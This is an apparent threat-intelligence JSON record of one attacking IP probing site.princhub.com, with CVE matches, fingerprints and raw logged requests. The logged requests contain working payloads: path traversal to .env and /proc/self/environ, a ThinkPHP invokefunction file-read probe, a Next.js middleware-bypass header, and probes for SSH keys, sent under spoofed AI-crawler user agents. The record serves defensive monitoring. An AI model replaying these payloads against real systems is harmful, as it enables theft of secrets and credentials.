{"ip":"172.70.80.101","total_events":70,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"31 exploit-path hits","confidence":"high","network_type":"CDN","why":["31 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 782,823 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"782,823 bytes sent","bytes_sent":782823,"session_seconds":14,"persistent":false}},"first_seen":"2026-09-21T17:30:58","last_seen":"2026-09-21T17:31:13","events_24h":0,"events_7d":70,"geo":{"country_code":"CA","country_name":"Canada","region":"Ontario","city":"Toronto","lat":43.709,"lon":-79.4057,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2019-11248","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":70}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1312h2_a44d0ee8b3cc_e381dae6da6b"],"tls_client_hello":"1603010200010001fc0303673e0052aedac7e363938b12e064b0812287e577465c2ef12c511126dc94a62920107f4e6f0ae1e236f3bbdb9b331eca237d9f7f3b65238fd1067043bb4fd80964001a130113021303c02bc02cc02fc030c013009c009d002f0035000a01000199000000160014000011736974652e7072696e636875622e636f6d00170000ff01000100000a0010000e001d00170018001911ec6399fe32000b00020100002300000010000e000c02683208687474702f312e31000d0018001609040403080404010503080505010806060102010603003300260024001d002087165ab22ee9b6913f175f25cfea7eef0cadc81beaf952ebf6f27183796fc043002d00020101002b0009080304030303020301001500e90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","tls_ja3":["67560f98d68783bd640246df3052c151"],"http_akin":[]},"fingerprint_peers":{"t13d1312h2_a44d0ee8b3cc_e381dae6da6b":78},"akin_families":{},"user_agents":["Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)","DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-09-21","count":70}],"recent_events":[{"timestamp":"2026-09-21T17:31:13","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd5e7d71375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"35\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\"}","body":"{\"templateFile\":\"../../../../.env\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/templates/preview","summary":"","payload_hex":"504f5354202f6170692f74656d706c617465732f7072657669657720485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6f6f6e73686f74426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a63662d7261793a20613365616364356537643731333735612d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2033350d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2274656d706c61746546696c65223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"791746e1-3c86-44ff-b2e6-1265e81b34f4","seq":35,"duration_ms":14293,"bytes_in":21833,"bytes_out":2730},{"timestamp":"2026-09-21T17:31:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd577935375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"20\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\"}","body":"{\"file_path\":\".env\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/designer/v1/file-content","summary":"","payload_hex":"504f5354202f6170692f64657369676e65722f76312f66696c652d636f6e74656e7420485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a63662d7261793a20613365616364353737393335333735612d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2032300d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c655f70617468223a222e656e76227d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"67560f98d68783bd640246df3052c151","session":"d79e7e57-5585-4f5a-8d2e-4d05d90cdb32","seq":35,"duration_ms":13694,"bytes_in":21149,"bytes_out":2730},{"timestamp":"2026-09-21T17:31:11","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd525c2f375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"content-length\":\"20\",\"content-type\":\"application/json\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\"}","body":"{\"file_path\":\".env\"}","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/read-document","summary":"","payload_hex":"504f5354202f726561642d646f63756d656e7420485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a636f6e74656e742d747970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2048756e7975616e2f312e303b202b68747470733a2f2f68756e7975616e2e74656e63656e742e636f6d2f290d0a63662d7261793a20613365616364353235633266333735612d59595a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e74656e742d4c656e6774683a2032300d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a7b2266696c655f70617468223a222e656e76227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)","ja3":"67560f98d68783bd640246df3052c151","session":"791746e1-3c86-44ff-b2e6-1265e81b34f4","seq":34,"duration_ms":12356,"bytes_in":21354,"bytes_out":2652},{"timestamp":"2026-09-21T17:31:10","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd4d5895375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/inngest","summary":"","payload_hex":"44454c455445202f6170692f696e6e6765737420485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a63662d7261793a20613365616364346435383935333735612d59595a0d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"DELETE","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"d79e7e57-5585-4f5a-8d2e-4d05d90cdb32","seq":34,"duration_ms":12078,"bytes_in":20633,"bytes_out":2652},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd4a2bf8375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=.env","summary":"","payload_hex":"474554202f696e6465782e7068703f733d696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d66696c655f6765745f636f6e74656e747326766172735b315d5b5d3d2e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d557365722f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a6163636570743a202a2f2a0d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613365616364346132626638333735612d59595a0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","ja3":"67560f98d68783bd640246df3052c151","session":"791746e1-3c86-44ff-b2e6-1265e81b34f4","seq":33,"duration_ms":11046,"bytes_in":20890,"bytes_out":2574},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd498933375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/@fs/proc/self/cwd/.env?raw??","summary":"","payload_hex":"474554202f4066732f70726f632f73656c662f6377642f2e656e763f7261773f3f20485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365616364343938393333333735612d59595a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d692d536561726368426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"d79e7e57-5585-4f5a-8d2e-4d05d90cdb32","seq":33,"duration_ms":11460,"bytes_in":20253,"bytes_out":2574},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd463cfe375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.local?raw","summary":"","payload_hex":"474554202f2e656e762e6c6f63616c3f72617720485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365616364343633636665333735612d59595a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2042616964757370696465722f322e303b202b687474703a2f2f7777772e62616964752e636f6d2f7365617263682f7370696465722e68746d6c290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","ja3":"67560f98d68783bd640246df3052c151","session":"791746e1-3c86-44ff-b2e6-1265e81b34f4","seq":31,"duration_ms":10415,"bytes_in":19495,"bytes_out":2418},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd463d1b375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/@fs/root/.env?raw??","summary":"","payload_hex":"474554202f4066732f726f6f742f2e656e763f7261773f3f20485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365616364343633643162333735612d59595a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204272617665626f742f312e303b202b68747470733a2f2f62726176652e636f6d2f7365617263682f290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","ja3":"67560f98d68783bd640246df3052c151","session":"d79e7e57-5585-4f5a-8d2e-4d05d90cdb32","seq":32,"duration_ms":10934,"bytes_in":19635,"bytes_out":2496},{"timestamp":"2026-09-21T17:31:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd47eb46375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ","summary":"","payload_hex":"474554202f6170692f772f61646d696e732f6a6f62735f752f6765745f6c6f675f66696c652f2e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e20485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365616364343765623436333735612d59595a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6f6f6e73686f74426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"791746e1-3c86-44ff-b2e6-1265e81b34f4","seq":32,"duration_ms":10679,"bytes_in":20144,"bytes_out":2496},{"timestamp":"2026-09-21T17:31:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"35.192.167.27\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3eacd409d86375a-YYZ\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)\",\"x-forwarded-for\":\"35.192.167.27\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.dockerenv","summary":"","payload_hex":"474554202f2e646f636b6572656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033352e3139322e3136372e32370d0a757365722d6167656e743a204475636b417373697374426f742f312e31202868747470733a2f2f6475636b6475636b676f2e636f6d2f6475636b617373697374626f74290d0a6163636570743a202a2f2a0d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613365616364343039643836333735612d59595a0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033352e3139322e3136372e32370d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","ja3":"67560f98d68783bd640246df3052c151","session":"d79e7e57-5585-4f5a-8d2e-4d05d90cdb32","seq":29,"duration_ms":10038,"bytes_in":17797,"bytes_out":2262}],"http_methods":[{"method":"GET","count":65},{"method":"POST","count":4},{"method":"DELETE","count":1}],"distinct_ports_total":1,"top_paths":[{"path":"/ai/.env","count":1,"ports":1},{"path":"/actuator/configprops","count":1,"ports":1},{"path":"/pi.php","count":1,"ports":1},{"path":"/wp-json","count":1,"ports":1},{"path":"/console","count":1,"ports":1},{"path":"/.//.env","count":1,"ports":1},{"path":"/graphql/console","count":1,"ports":1},{"path":"/api/v1/config","count":1,"ports":1},{"path":"/client/.env","count":1,"ports":1},{"path":"/bootstrap.yml","count":1,"ports":1},{"path":"/deploy/.env","count":1,"ports":1},{"path":"/assets../.env","count":1,"ports":1},{"path":"/Dockerfile","count":1,"ports":1},{"path":"/.ssh/id_ed25519","count":1,"ports":1},{"path":"/api/v1/env","count":1,"ports":1}],"distinct_paths_total":70,"top_snis":[{"value":"site.princhub.com","count":70}],"top_hosts":[{"value":"site.princhub.com","count":70}],"top_alpns":[{"value":"h2, 